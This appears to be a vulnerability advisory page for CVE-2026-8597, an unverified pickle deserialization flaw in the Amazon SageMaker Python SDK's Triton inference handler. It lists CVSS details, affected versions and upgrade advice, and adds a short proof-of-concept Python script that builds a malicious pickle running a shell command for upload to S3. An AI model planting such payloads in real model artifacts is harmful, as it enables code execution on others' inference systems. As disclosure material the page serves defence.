Security Vulnerability Report
中文
CVE-2026-8597 CVSS 7.2 HIGH

CVE-2026-8597

Published: 2026-05-14 20:17:21
Last Modified: 2026-05-14 20:17:21
Source: ff89ba41-3aa1-4d27-914a-91399e9639e5

Description

Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to achieve code execution in inference containers via replacement of model artifacts in S3 with a specially crafted pickle payload that is deserialized without verification. This issue requires a remote authenticated actor with S3 write access to the model artifact path. To remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any Triton models previously created with ModelBuilder using the updated SDK.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Amazon SageMaker Python SDK < v2.257.2
Amazon SageMaker Python SDK < v3.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., reverse shell or arbitrary command) return (os.system, ('touch /tmp/pwned && echo "RCE Successful"',)) # Serialize the malicious object malicious_model = pickle.dumps(MaliciousPayload()) # Save the payload to a file (simulating the model artifact) with open('malicious_model.pkl', 'wb') as f: f.write(malicious_model) print("Malicious pickle payload generated.") # An attacker would upload this file to the S3 path used by SageMaker.

References

Raw JSON Data

JSON
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